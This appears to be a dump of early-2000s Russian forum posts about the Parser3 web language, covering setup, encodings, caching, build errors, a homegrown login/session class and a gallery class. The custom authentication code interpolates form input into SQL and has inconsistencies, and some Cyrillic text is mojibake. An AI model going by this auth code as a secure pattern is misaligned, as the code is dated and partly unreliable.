Надо сделать список людей с фотографиями.\
Данные находятся в базе: id, name, pic, about и т.д.\
Есть идея сделать шаблон (точнее он уже есть), в который бы подставлялась информация из базы данных.\
\
Подскажите пожалуйста, как это можно реализовать."
"17604","Сабж. А то летнее время можно определить ($date.daylightsaving, но не $date.saving --- в документации ошибка так и не была исправлена), а как быть с часовым поясом? "
"17605","хотя мне не вломы, куда кидать?"
"17607","приведите ситуацию — обсудим. язык специально держится максимально простым.\
\
\
1. tr есть replace\
\
2. преобразования кодировок есть встроенные. в очередной версии будет и ^file::exec/cgi[xxx;$.charset[]]\
я специально не ввожу в язык явных перекодирований, чтобы держать ситуацию под контролем. когда в скрипты входит «перекодируй туда/сюда», из скриптов уходит ясность.\
\
3. \
что вам выдать на экзотическую букву, кодирующуюся шестью байтами UTF-8?\
\
4.\
форматировать что угодно и как угодно можно пользовательскими функциями. см. пример миши: http://www.parser.ru/examples/date/"
"17608","Если после написания еще одной зубодробительной конструкции я вижу не Unhandled, а 500 это - заломался парсер?"
"17609","Для тех, кто не хочет стандартную авторизацию в admin-section сайта:\
\
[code]\
# Класс для управления авторизацией пользователей\
# Copyright (c) 2003 Immortal\
@CLASS\
session\
\
#################################\
## конструктор класса\
@load[]\
$sessions[^table::sql{\
	SELECT\
		a_sessions.login,\
		a_sessions.session_id,\
		a_users.user_group,\
		a_users.f_name,\
		a_users.s_name,\
		a_users.l_name,\
		a_users.email,\
		a_users.user_status\
	FROM\
		a_sessions,\
		a_users\
	WHERE\
		a_sessions.login = a_users.login\
		}\
	]\
\
$hash_of_sessions[^sessions.hash[session_id]]\
\
\
#################################\
## Создание сессии\
@logon[data][user_from_db;crypted;r1;r0]\
$user_from_db[^table::sql{\
	SELECT\
		login,\
		passwd,\
		user_status\
	FROM\
		a_users\
	WHERE\
		login = '$data.login'	\
	}\
]\
\
# пробуем криптовать пароль, полученный от юзера\
^try{\
	$crypted[^math:crypt[$data.passwd;$user_from_db.passwd]]\
# если без ^try, можно получить ошибку \"salt must start with '$apr1$'\"\
# в случае, если таблица $user_from_db пуста и $user_from_db.passwd\
# естейственно не start with '$apr1$' :)\
}{\
	$exception.handled(1)\
}\
# проверяем наличие юзера с таким логином/паролем\
^if(def $user_from_db.login && $user_from_db.passwd eq $crypted){\
# если такой юзер есть, проверяем его статус (активен/заморожен	\
^if($user_from_db.user_status eq 'active'){\
# если юзер активен, генерим случайный ключ\
$now[^date::now[]]	\
$r1[^math:crypt[${now.year}${now.month}${now.day}${now.hour}${now.minute}${now.second}^math:random(1000000);^$apr1^$]]\
$r0[^r1.mid(7)]\
# очищаем старые записи таблицы сессий\
^void:sql{DELETE FROM a_sessions WHERE TO_DAYS(NOW()) - 1 >= TO_DAYS(last_access)}\
# пишем в базу сгенереный выше ключ\
^void:sql{\
	INSERT \
		INTO a_sessions\
	SET\
		login = '$user_from_db.login',\
		session_id = '$r0',\
		last_access = ^mysql:now[]\
	}\
# и в cookie пишем то же\
$cookie:session_id[\
 	$.value[$r0]\
 	$.expires[session]\
 ]\
# рефрэшим страницу\
$response:refresh[\
	$.value[0]\
	$.url[/]\
]\
}{\
# если юзер заморожен, выдаем соотв. страницу	\
	$response:body[^skiner[user_frozen]]\
}\
	}{\
# если нет такого юзера, выдаем соотв. страницу\
	$response:body[^skiner[invalid_user]]\
\
	}\
\
#################################\
## Страница авторизации\
@logon_screen[][data]\
^if(def $form:login && def $form:passwd){\
	$data[^hash::create[]]\
	$data.login[$form:login]\
	$data.passwd[$form:passwd]\
# запускаем метод создания сессии\
	^logon[$data]\
}{\
# показываем эту страницу авторизации\
	$response:body[^skiner[logon]]\
}\
\
#################################\
## Прекращение сессии\
@logoff[]\
# сразу конкретно удаляем данные текущей сессии\
^void:sql{DELETE FROM a_sessions WHERE session_id = '^get[session_id]'}\
# затираем cookie\
$cookie:session_id[]\
# отправляем на страницу авторизации\
$response:location[/]\
$response:refresh[\
	$.value[0]\
	$.url[/]\
]\
\
\
#################################\
## Получение данных о сессии\
# с любой страницы системы можно получить инфу о вошедшем юзере\
# например вызов ^session:get[фамилия] возвращает фамилию данного юзера\
@get[field][field]\
^switch[$field]{ \
	^case[user]{$hash_of_sessions.[$cookie:session_id].login}\
	^case[user_group]{$hash_of_sessions.[$cookie:session_id].user_group}\
	^case[session_id]{$hash_of_sessions.[$cookie:session_id].session_id}\
	^case[имя]{$hash_of_sessions.[$cookie:session_id].f_name}\
	^case[отчество]{$hash_of_sessions.[$cookie:session_id].s_name}\
	^case[фамилия]{$hash_of_sessions.[$cookie:session_id].l_name}\
	^case[email]{$hash_of_sessions.[$cookie:session_id].email}\
	^case[DEFAULT]{Параметр '$field' не существует}\
}\
[/code]"
"17610","методы управления юзерами и группами вынесены у меня в отдельные классы user.p и groups.p соответственно.\
Ибо нефиг загромождать код."
"17611","С генеральной линией согласен.\
Но на простейшем примере столкнулся с существенным неудобством.\
У меня есть каталог, в котором описания файлов лежат в files.bbs, а он, само собой, в дос-кодировке.\
Мне нужно выдать список файлов в каталоге, каждая строка -- описание из files.bbs, а ссылка -- предложение к скачиванию файла (реальное полное имя). Вывод в виндовой кодировке.\
Перекодировать нужно.\
replace не поможет.\
Код символов, чтобы написать свою функцию, не получить.\
Вызов внешней перловой программы -- долго.\
Плохо.\
Отсюда вывод: такая возможность всё же нужна."
"17612","Просто в конфигурационном auto.p сделано так что при ошибке клиенту возвращается этот код 500, наверно для того что бы поисковики тикие стриницы не индексировали, да и вообще всё по стандарту HTTP протокола."
"17613","[code]\
^logon[\
    $.login[$form:login]\
    $.passwd[$form:passwd]\
]\
[/code]"
"17614","вызовы @fatal_error в документации не описаны, и я сомневаюсь что они будут описаны. а вот @unhandled_exception - другое дело, но у меня там даже заикания про 500 не написано. Так что нужно ждать САМОГО, что он скажет."
"17615","уже у себя исправил.\
А так, как вообще, а?"
"17617","общая идея правильная и понравилось, что подробно прокомментировано.\
\
warning: конечно, перед использованием нестандартной авторизации надо подумать. я уже писал на эту тему, и желающие могут найти это по форуму."
"17618","В том то и дело, что прописываю, а она зараза все равно не активна :(\
Я не из Луганска :)"
"17619","сам юзаю стандартную, а это вариант."
"17620","[code]\
# Класс для управления пользователями\
# Copyright (c) 2003 Immortal\
@CLASS\
user\
\
#################################\
## конструктор\
# без параметров нужен для вывода списка юзеров,\
# с параметром $user загружает инфу о конкретном юзере\
@load[user][user]\
^if(def $user){\
	$result[^table::sql{\
		SELECT\
			login,\
			passwd,\
			user_group,\
			user_status,\
			f_name,\
			s_name,\
			l_name,\
			email\
		FROM\
			a_users\
		WHERE\
			login = '$user'	\
		}\
	]\
}{\
	$result[^table::sql{\
		SELECT\
			login,\
			passwd,\
			user_group,\
			user_status,\
			f_name,\
			s_name,\
			l_name,\
			email\
		FROM\
			a_users\
		ORDER BY\
			user_group,\
			l_name,\
			s_name,\
			f_name\
		}\
	]\
}\
\
\
\
#################################\
## метод редактирования пользователя\
@edit[][crypted]\
^if(def $form:POST){\
^if(def $form:login && def $form:passwd){\
\
$crypted[^math:crypt[$form:passwd;^$apr1^$]]\
^void:sql{\
	UPDATE \
		t_users\
	SET\
		login = '$form:login',\
		passwd = '$crypted',\
		user_group = '$form:user_group',\
		user_status = '$form:user_status',\
		f_name = ^if(def $form:f_name){'$form:f_name'}{'n/a'},\
		s_name = ^if(def $form:s_name){'$form:s_name'}{'n/a'},\
		l_name = ^if(def $form:l_name){'$form:l_name'}{'n/a'},\
		email = ^if(def $form:email){'$form:email'}{'n/a'}\
	WHERE\
		login = '$form:login'\
	}\
		$response:body[^skiner[user/ok]]\
		\
	}{\
		$response:body[^skiner[user/not_all_fields]]\
	}\
}\
\
\
#################################\
## статический метод \"заморозки\" пользователя\
@disable[user]\
^void:sql{UPDATE a_users SET user_status = 'frozen' WHERE login='$user'}\
\
#################################\
## статический метод \"разморозки\" пользователя\
@enable[user]\
^void:sql{UPDATE a_users SET user_status = 'active' WHERE login='$user'}\
\
#################################\
## статический метод удаления пользователя\
@delete[user]\
^void:sql{DELETE FROM a_users WHERE login = '$user'}\
\
\
\
\
#################################\
## статический метод добавления пользователя\
@add[][crypted]\
\
^if(def $form:POST){\
^if(def $form:login && def $form:passwd){\
^if(^MAIN:users.locate[login;$form:login]){\
$response:body[^skiner[user/user_present]]	\
}{\
$crypted[^math:crypt[$form:passwd;^$apr1^$]]\
^void:sql{\
	INSERT\
		INTO a_users\
	SET\
		login = '$form:login',\
		passwd = '$crypted',\
		user_group = '$form:user_group',\
		user_status = '$form:user_status',\
		f_name = ^if(def $form:f_name){'$form:f_name'}{'n/a'},\
		s_name = ^if(def $form:s_name){'$form:s_name'}{'n/a'},\
		l_name = ^if(def $form:l_name){'$form:l_name'}{'n/a'},\
		email = ^if(def $form:email){'$form:email'}{'n/a'}\
		}\
		$response:body[^skiner[user/ok]]\
		}\
	}{\
# если не все обязательные поля заполнены\
		$response:body[^skiner[user/not_all_fields]]\
	}\
}\
[/code]"
"17621","Я может быть опять плохо объясняю: у меня все работает нормально, но после написания некой конструкции вываливается 500 а не unhandled. Причем в логе парсера ничего нет. Может такое быть или я где-то напортачил."
"17622","что в логе веб-сервера?\
есть ли core?"
"17623","к сожалению я не очень знаю, между чем и чем планируется передавать таким образом параметры... некоторые ЭТО делают в query и потом мучаются с перекодировками... зачем, когда есть стандартный способ, и $form?\
\
другие передают такой набор параметров между своими методами, и потом занимаются их разбором, что во первых долго, во вторых неочевидно тем, кто будет читать код... и, как уже упомянули, есть хеш, с помощью него передать параметры очень удобно и наглядно."
"17624","# uname -sr\
NetBSD 1.6\
\
# make\
Making all in include\
Making all in main\
Making all in sql\
Making all in types\
Making all in classes\
Making all in gd\
Making all in smtp\
make: Graph cycles through classes.C\
`all-am' not remade because of errors.\
Making all in lib\
Making all in patches\
Making all in ltdl\
Making all in pcre\
Making all in md5\
Making all in targets\
Making all in cgi\
libtool --mode=link c++  -g -O2  -o parser3  pa_pool.o pa_threads.o  parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../main/libmain.a ../../types/libtypes.a ../../classes/gd/libgd.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../../src/lib/ltdl/libltdlc.a  -lcrypt -lm\
c++ -g -O2 -o parser3 pa_pool.o pa_threads.o parser3.o getopt.o  ../../classes/libclasses.a ../../main/libmain.a ../../types/libtypes.a ../../classes/gd/libgd.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../../src/lib/ltdl/libltdlc.a -lcrypt -lm\
../../main/libmain.a(pa_request.o): In function `Request::Request(Pool &, Request::Info &, unsigned char, bool)':\
/tmp/1/parser-3.0.0007/src/main/pa_request.C:73: undefined reference to `VClassMAIN_create(Pool &)'\
../../main/libmain.a(pa_request.o): In function `Request::core(char const *, bool, bool)':\
/tmp/1/parser-3.0.0007/src/main/pa_request.C:378: undefined reference to `exception2vhash(Pool &, Exception const &)'\
*** Error code 1\
\
Stop.\
make: stopped in /tmp/1/parser-3.0.0007/src/targets/cgi\
*** Error code 1\
\
Stop.\
make: stopped in /tmp/1/parser-3.0.0007/src/targets\
*** Error code 1\
\
Stop.\
make: stopped in /tmp/1/parser-3.0.0007/src\
\
какой библиотеки не хватает ?"
"17625","вижу, у вас собрался черезчур 'умный' libtool, который поправил строку вызова компоновщика на неправильную.\
\
сложно сказать, почему так вышло,\
если у вас есть энтузиазм — разберитесь/расскажите.\
\
скомпоновать же можно так…\
\
[code]\
c++ -g -O2 -o parser3 pa_pool.o pa_threads.o parser3.o getopt.o \\\
../../main/libmain.a ../../classes/libclasses.a ../../main/libmain.a \\\
../../types/libtypes.a ../../classes/gd/libgd.a \\\
../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a \\\
../../../src/lib/ltdl/libltdlc.a -lcrypt -lm\
[/code]"
"17627","или очевидного и ненужного вам совета «сделайте выборку из базы, нарисуйте табличку»?"
"17628","Я подключаю Parser к IIS 5.1 на WinXP. На тестовой странице он пишет что не нашел драйвера баз данных и файлы с кодировками. Как это исправить?\
P.S Я раньше уже ставил Parser на IIS и у меня все работало. Другие сервера у меня не стоят. "
"17629","Хотя бы простенький пример как реализовать подстановку в шаблон."
"17630","И ещё что такое стандартная авторизация, это средствами апатча или как?"
"17631","Проверь файл auto.p в нем сверху будет нечто:\
[code]\
@conf[filespec]\
#вот здесь идет настройка директорий - проверьте указывают ли они на правильные пути\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
odbc	$sqldriversdir/parser3odbc.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
[/code]"
"17632","кратенький листинг\
index.html\
[code]\
^connect[$connect_string]{$test[^table::sql{select id, date, header, body from test}]}\
\
^test.menu{<a href=/testnews/date/index.html?$test.date>$test.header</a></b><br>}\
\
[/code]\
\
\
\
/date/index.html\
[code]\
$show_date_news[]\
$news_date[$request:query]\
\
^if($news_date){\
\
                ^connect[$connect_string]{\
                $news[^table::sql{SELECT date, header, body, id FROM test WHERE date =\
'$news_date' }]  \
                ^news.sort($news.id)[desc]\
\
                ^if($news){\
                           ^news.menu{\
                                <TABLE>\
                                        <TR>\
                                        <TD>\
                                        $news.title<BR>\
                                        $untaint{$news.body}\
                                        <BR>\
                                        </TD>\
                                        </TR>          \
                                </TABLE>\
                                }\
                        }{\
                        <TR>\
                        <TD>\
                        типа где-то ошибка<BR><BR>\
                        </TD>\
                        </TR>\
                        </TABLE>\
                        }\
}\
}\
[/code]\
\
\
\
Парсер говорит что:\
[Wed Jun 18 23:55:45 2003] /testnews/date/index.html?2003-06-18: request(0): '2003-06-18' invalid number (double) [number.format]\
\
подскажите пожалуйста как решить проблему, заранее спасибо и извините что отнял у вас время.\
"
"17633","- $untaint{$news.body} -> ^untaint{$news.body}\
- по моему не зватает order by в запросе\
- <table> по моему надо вынести из menu\
\
это что бросилось в глаза...\
"
"17634","@CLASS\
class_image\
\
@create[]\
\
@show_3[nmbr;align]\
^dbconnect{\
 $kind_table[^table::sql{SELECT name, text\
                         FROM image_kind\
		         WHERE nmbr=$nmbr}]\
}\
\
<TABLE CLASS=\"globalimage\" BORDER=\"0\" CELLSPACING=\"1\" CELLPADDING=\"0\" WIDTH=\"100%\">\
 <TR>\
  <TD>\
   <TABLE CLASS=\"image\" BORDER=\"0\" CELLSPACING=\"1\" CELLPADDING=\"0\" WIDTH=\"100%\">\
    <TH CLASS=\"head\" ID=\"image\">лБТФЙОЩ</TH>\
    <TR>\
     <TD CLASS=\"image\" ID=\"td\" VALIGN=\"top\" ALIGN=\"left\">\
      &nbsp^;<SPAN CLASS=\"bold\" ALIGN=\"left\">$kind_table.name</SPAN>\
#      <DIV CLASS=\"text\">&nbsp^;$kind_table.text</DIV><BR>\
       <DIV ALIGN=\"center\">\
       <DIV CLASS=\"text\">&nbsp^;</DIV>\
      ^dbconnect{\
       $group_table[^table::sql{SELECT nmbr, name, text\
                                FROM image_group\
				WHERE kind_nmbr= $nmbr\
				ORDER BY name}]\
       }\
      ^if(def $group_table){    \
         \
        ^if(^group_table.count[] >1){\
	^if(def $form:image_group ){\
	\
	^dbconnect{\
	 $image_table[^table::sql{SELECT nmbr,name,text,image_big,image_small,data,size,style,info\
	                         FROM image\
				 WHERE image_group= $t[$form:image_group] $t[^t.double(0)] $t\
				 ORDER BY nmbr DESC\
	    }]\
	  }\
	 <DIV CLASS=\"back\"> \
        &lt^;&lt^; <A HREF=\"${MAIN:web_url}${MAIN:url.0}\">чуе бчфптщ</A>&nbsp^;\
        </DIV>\
<BR>\
	\
         ^group_table.menu{\
	  \
	  ^if( $t == $group_table.nmbr){\
	  <DIV CLASS=\"text\"><span CLASS=\"bold\">бЧФПТ:</SPAN> $group_table.name &nbsp^;</DIV> \
	$lim(5)\
#нЕОСФШ ЕЭЕ Ч ПДОПН НЕУФЕ Ч ЬФПН ЖБКМЕ!	\
	 $count(^image_table.count[])\
\
         ^if(def $form:image_str){\
	   $str[$form:image_str] $str(^str.int(1))}{$str(1)}\
	   ^if($str<=0){$str(1)}\
           ^if($str > ^math:ceiling(^eval($count/$lim))){$str(1)}\
	   $off(^eval($lim*($str-1)))\
	 ^if($count>$lim){\
	 <DIV ALIGN=\"right\">\
	  <SPAN CLASS=\"imagetableleft\"> уФТБОЙГЩ: \
	   ^for[i](1;^math:ceiling(^eval($count/$lim))){\
	   <SPAN CLASS=\"imagetableright\">\
	   ^if(^eval($str) == $i ){&nbsp^;$i&nbsp^;}{\
	   <A CLASS=\"imagelink\" HREF=\"?image_group=$form:image_group&image_str=$i\">&nbsp^;$i&nbsp^;</A>}\
	   </SPAN> \
	   }\
	  </SPAN>\
	 </DIV>  \
	 }\
        ^for[cur](^eval($off);^eval($off+$lim-1)){\
	 ^image_table.offset[set]($cur)\
	 ^if($cur<$count){ \
            <TABLE CLASS=\"globalimage\" BORDER=\"0\" CELLSPACING=\"1\" CELLPADDING=\"0\" WIDTH=\"98%\">\
             <TR CLASS=\"imagetable\">\
              <TD VALIGN=\"top\">\
	      <TABLE CLASS=\"image\" cellSpacing=\"1\" cellPadding=\"0\" width=\"100%\" \
border=\"0\
\">\
               <TR> \
                <TD CLASS=\"head\" ID=\"image\" colspan=\"3\" align=\"center\">&nbsp^;$image_table.name\
                </TD>\
               </TR>\
               <TR> \
                <TD class=\"imagetable\" vAlign=\"middle\" ALIGN=\"center\" WIDTH=\"144\">\
                  <A href=\"/images/image/$image_table.nmbr/big.jpg\" target=\"blank\"><IMG src=\"/images/image/$image_table.nmbr/small.jpg\" BORDER=\"0\" ALT=\"бЧФПТ: $group_table.name - $image_table.name\"> </a>\
                </TD>\
                <TD colSpan=\"2\" class=\"imagetable\" id=\"text\" VALIGN=\"top\">\
                 <TABLE cellspacing=\"1\" cellpadding=\"0\" border=\"0\">\
                  <TR> \
                   <TD class=\"imagetableleft\">фЕИОЙЛБ:\
                   </TD>\
                   <TD class=\"imagetableright\">&nbsp^;$image_table.style\
                   </TD>\
                  </TR>\
                  <TR> \
                   <TD class=\"imagetableleft\">тБЪНЕТЩ:\
                   </TD>\
                   <TD class=\"imagetableright\">&nbsp^;$image_table.size\
                   </TD>\
	          </TR>\
                  <TR> \
                   <TD class=\"imagetableleft\">дБФБ:\
                   </TD>\
                   <TD class=\"imagetableright\">&nbsp^;$image_table.data\
                   </TD>\
                  </TR>\
		  $pt[$image_table.info]\
  	            ^if(^pt.match[ ][g]{} eq \"\"){}{\
                  <TR> \
                   <TD class=\"imagetableleft\">гЕОБ:\
                   </TD>\
                   <TD class=\"imagetableright\">&nbsp^;$image_table.info ТХВ. &nbsp^; <A HREF=\"mailto:gallery@rubtsovsk.ru?subject='ъБЛБЪ ЛБТФЙОЩ'\">ъБЛБЪБФШ</A>\
                   </TD>\
		   </TR>\
		   }\
		   <TR>\
		   <TD colspan=\"3\" vAlign=\"top\" class=\"text\">\
               &nbsp^;$image_table.text\
                </TD>\
                  </TR>\
                 </TABLE>\
                </TD>\
              </TABLE>\
     	     </TD>\
	    </TR>\
	   </TABLE>\
	    \
	 <BR>	    \
	 }\
	 }\
	 ^if($count> $lim){       \
	 <DIV ALIGN=\"right\">\
	    <SPAN CLASS=\"imagetableleft\"> уФТБОЙГЩ: \
	   ^for[i](1;^math:ceiling(^eval($count/$lim))){\
	   <SPAN CLASS=\"imagetableright\">\
	   ^if(^eval($str) == $i ){&nbsp^;$i&nbsp^;}{\
	   <A CLASS=\"imagelink\" HREF=\"?image_group=$form:image_group&image_str=$i\">&nbsp^;$i&nbsp^;</A>}\
	   </SPAN> \
	   }\
	   </SPAN>\
	   </DIV>\
	   }\
        }\
	}\
	}{ <TABLE CLASS=\"globalimage\" BORDER=\"0\" CELLSPACING=\"1\" CELLPADDING=\"0\" WIDTH=\"100%\">\
	    \
	    ^group_table.menu{\
	     <TR CLASS=\"image\" onMouseOver=\"this.style.backgroundColor='#EFEFEF'\" onMouseOut=\"this.style.backgroundColor='#FFFFFF'\">\
	      <TD CLASS=\"text\">&nbsp^;\
	       <A CLASS=\"imagelink\" HREF=\"?image_group=$group_table.nmbr\"><SPAN>&nbsp^;&nbsp^;</SPAN>$group_table.name </A> \
	       <DIV> $group_table.text</DIV>\
	      </TD>\
	      <TD CLASS=\"bold\" WIDTH=\"40\" VALIGN=\"middle\" ALIGN=\"center\" >\
	     <A CLASS=\"imagelink\" HREF=\"?image_group=$group_table.nmbr\"> &nbsp^;^dbconnect{^string:sql{SELECT count(nmbr) FROM image WHERE image_group=$group_table.nmbr}}</A>\
	      </TD>\
	     </TR> \
	     }\
	    </TABLE>\
	}    \
	}{\
\
      ^dbconnect{\
       $group_table[^table::sql{SELECT nmbr,name\
                                FROM image_group\
				WHERE kind_nmbr=$nmbr }]\
       \
         <DIV CLASS=\"text\"><span CLASS=\"bold\">бЧФПТ:</SPAN> $group_table.name &nbsp^;</DIV> \
	 $image_table[^table::sql{SELECT nmbr,name,text,image_big,image_small,style,size,data,info\
	                         FROM image\
				 WHERE image_group = $group_table.nmbr\
				 ORDER BY nmbr DESC}] \
\
         }\
	 $lim(5)\
	 \
#нЕОСФШ ЕЭЕ Ч ПДОПН НЕУФЕ Ч ЬФПН ЖБКМЕ!	\
	 $count(^image_table.count[])\
         ^if(def $form:image_str){\
	   $str[$form:image_str] $str(^str.int(1))}{$str(1)}\
	   ^if($str<=0){$str(1)}\
           ^if($str > ^math:ceiling(^eval($count/$lim))){$str(1)}\
	   $off(^eval($lim*($str-1)))\
	   ^if($count>$lim){\
    	  <DIV ALIGN=\"right\">\
	  <SPAN CLASS=\"imagetableleft\"> уФТБОЙГЩ: \
	   ^for[i](1;^math:ceiling(^eval($count/$lim))){\
	   <SPAN CLASS=\"imagetableright\">\
	   ^if(^eval($str) == $i ){&nbsp^;$i&nbsp^; }{\
	   <A CLASS=\"imagelink\" HREF=\"?image_str=$i\"> &nbsp^; $i &nbsp^;</A>}\
	   </SPAN> \
	   }\
	  </SPAN>\
	 </DIV> \
	 }\
        ^for[cur](^eval($off);^eval($off+$lim-1)){\
	 ^image_table.offset[set]($cur)\
	 ^if($cur<$count){ \
           <TABLE CLASS=\"globalimage\" BORDER=\"0\" CELLSPACING=\"1\" CELLPADDING=\"0\" WIDTH=\"98%\">\
             <TR CLASS=\"imagetable\">\
              <TD VALIGN=\"top\">\
	      <TABLE CLASS=\"image\" cellSpacing=\"1\" cellPadding=\"0\" width=\"100%\" \
border=\"0\
\">\
               <TR> \
                <TD CLASS=\"head\" ID=\"image\" colspan=\"3\" align=\"center\">&nbsp^;$image_table.name\
                </TD>\
               </TR>\
               <TR> \
                <TD class=\"imagetable\" vAlign=\"middle\" ALIGN=\"center\" WIDTH=\"144\">\
                 <A href=\"/images/image/$image_table.nmbr/big.jpg\" target=\"blank\" ><IMG src=\"/images/image/$image_table.nmbr/small.jpg\" BORDER=\"0\" ALT=\"бЧФПТ: $group_table.name - $image_table.name\"> </a>\
                </TD>\
                <TD colSpan=\"2\" class=\"imagetable\" id=\"text\" VALIGN=\"top\">\
                 <TABLE cellspacing=\"1\" cellpadding=\"0\" border=\"0\">\
                  <TR> \
                   <TD class=\"imagetableleft\">фЕИОЙЛБ:\
                   </TD>\
                   <TD class=\"imagetableright\">&nbsp^;$image_table.style\
                   </TD>\
                  </TR>\
                  <TR> \
                   <TD class=\"imagetableleft\">тБЪНЕТЩ:\
                   </TD>\
                   <TD class=\"imagetableright\">&nbsp^;$image_table.size\
                   </TD>\
	          </TR>\
                  <TR> \
                   <TD class=\"imagetableleft\">дБФБ:\
                   </TD>\
                   <TD class=\"imagetableright\">&nbsp^;$image_table.data\
                   </TD>\
                  </TR>\
		  $pt[$image_table.info]\
  	            ^if(^pt.match[ ][g]{} eq \"\"){}{\
                  <TR> \
                   <TD class=\"imagetableleft\">гЕОБ:\
                   </TD>\
 \
                   <TD class=\"imagetableright\">\
		   &nbsp^;$image_table.info ТХВ. &nbsp^;<A HREF=\"mailto:gallery@rubtsovsk.ru?subject='ъБЛБЪ ЛБТФЙОЩ'\">ъБЛБЪБФШ</A>\
                   </TD>\
		   </TR>\
		   }\
		   <TR>\
		   <TD colspan=\"3\" vAlign=\"top\" class=\"text\">\
               &nbsp^;$image_table.text\
                </TD>\
                  </TR>\
                 </TABLE>\
                </TD>\
              </TABLE>\
     	     </TD>\
	    </TR>\
	   </TABLE>\
	    \
	 <BR>\
	 }\
	 }\
	 ^if($count>$lim){\
	<DIV ALIGN=\"right\">\
	    <SPAN CLASS=\"imagetableleft\"> уФТБОЙГЩ: \
	   ^for[i](1;^math:ceiling(^eval($count/$lim))){\
	   <SPAN CLASS=\"imagetableright\">\
	   ^if(^eval($str) == $i ){&nbsp^;$i&nbsp^;}{\
	   <A CLASS=\"imagelink\" HREF=\"?image_str=$i\">&nbsp^;$i&nbsp^;</A>}\
	   </SPAN> \
	   }\
	   </SPAN>\
	   </DIV>\
	   }\
	}\
       }\
      </DIV> \
     </TD>\
    <TR>\
   </TABLE>\
  </TD>\
 </TR>\
</TABLE>\
\
"
"17635","Все это есть, я даже сам путь прописывал и ничего. Прикол в том, что я уже ставил Parser на IIS   и все работало... Может IIS коряво установился..."
"17636","На счет стандартной авторизации:\
1. http://httpd.apache.org/docs/howto/auth.html\
2. поиск по этому форуму.\
\
Настоятельно рекомендуется стандартная авторизация.\
Код варианта стандартной авторизации класса session.p меньше строк на 100. Класс user.p становится больше строк на 10-15."
"17637","Интересное предложение было от Александра Петросяна:\
\
http://www.parser.ru/forum/?id=7835\
\
кто-нибудь делал сабж?\
\
P.S.\
сегодня сам начну делать"
"17639","/testnews/date/index.html\
\
наверно можно переделать в\
\
/testnews/date/\
\
\
У меня была аналогичная проблема, рештлась когда я дату разбил на month, year, day и передавал тремя переменными.\
\
Правда код получился достаточно громоздким, но проблема ушла.\
\
_________\
С уважением Ламер"
"17641","Интересно код посмотреть, если не жалко.\
Можно без деталей, в общем.\
Просто я пока не приступил, по-этому интерсно, как это у других.\
\
ЗЫ\
Плагиатом заниматься не собираюсь."
"17642","правда я не занимаюсь обходом дерева каталогов, т.к. у меня один класс - один файл. соответственно мне нужно описание одного файла - просто пускаю скрипт и получаю файл с описаниями всех его методов.\
\
ой, забыл приаттачить то что есть :)\
в $file - полный путь к файлу...\
[code]\
$fd[^file::load[text;$file]]\
\
$t[$fd.text]\
$t[^t.match[^^##[^^#]*^$][mg]{}]\
$t[^t.match[(\\n){3,}][g]{${match.1}$match.1}]\
$comments[^t.match[(#{5,}\\n#\\s.*?\\n@.+?\\^])][g]]\
\
^taint[as-is][^comments.menu{$comments.1\
\
\
}]\
[/code]\
"
"17644","есть страница /ftp/index.html, которая должна по идее после запуска скрипта обновляться ...\
есть /ftp/scan.html который вызывается с index.html с таким содержанием\
[code]\
$f[^file::exec[ping.pl;;refresh]] \
\
$response:location[/ftp/] \
$response:refresh[ \
   $.value[0] \
   $.url[/ftp/] \
]\
[/code]\
\
все бы ничего, эксплорер как надо обновляет страницу, \
но опера поступает иначе, она после $response:location[/ftp/], показавает обновленную страницу, далее идет refresh, после которого она берет из кэша старую, и выводит ее.\
\
Можно было бы убрать refresh, но тогда мы получаем что у нас меняется адрес на /ftp/scan.html и если юзер обновит ее нажатием кнопки в браузере, то опять запуститься скрипт, чего нам не надо ...\
\
Я впихивал запуск скрипта в index.html, но проблема все таже, либо имеем не обновление страницы, либо страница обновляется и при нажатии рефреша в браузере запускается скрипт.\
"
"17645","Так можно всё-таки приинклудить результаты выполнения PHP скрипта в html-страницу обрабатываемую парсером? Если да то как?\
Заранее спасибо!"
"17646","[code]\
$response:expires[^date::now[]]\
[/code]\
ещё можно добавить cache-control:no-cache"
"17647","Стоит в странице, сгенеренной скриптом добавить в заголовке:\
\
<META HTTP-EQUIV=\"Cache-control\" CONTENT=\"NO-STORE\">\
\
Возможные значения: \
\
Public - документ кэшируется в доступных для всех кэшах \
Private - только в частном кэше \
no-cache - не может быть кэширован \
no-store - может быть кэширован, но не сохраняется \
\
"
"17649","не туда написал извините ..."
"17650","т.е. есть веб-форма для загрузки на сервер допустим фотографий, как сделать так, чтобы мне кто-нибудь не прислал 100 Mb файлик, а можно было слать только скажем по 20 Kb максимум?\
\
у меня есть свои мысли на этот счёт, но хочется послушать мнение других"
"17651","Желательно чтоб парсер уже стоял или ставился в ручную\
Цена особого значения не имеет."
"17653","www.wsh.ru сегодня я там установл полностью парсер за 15 минут с нуля. Служба поодержки в аське почти постоянно на вопросы возникающие отвечает, любой каприз за ваши деньги сделают. Пол месяца дают бесплатно попробовать.\
\
Зато на www.mtw.ru мы помню неделю махались пока всё настроли :(\
(но это неантиреклама :(, просто моё мнение)"
"17656","очень надежно. Ставится парсер за 5 мин по документации к Парсеру (хотя на первый раз я потратил 3 часа - решил отсебятину написать в конфиге апаче, а надо сторого по документации, буквально copy-paste). По надежности не разу не было проблем ( за 3 года )"
"17657","но если хотите нормально работать, почитайте и по веб-серверу.\
непременно почитайте также HTTP стандарты.\
и о том, что такое cookie.\
и ещё немножко про DNS.\
и о базах данных.\
\
начать можно с документации по parser'у."
"17658","Александр, прокоментируйте мне, пожалуйста, один момент.\
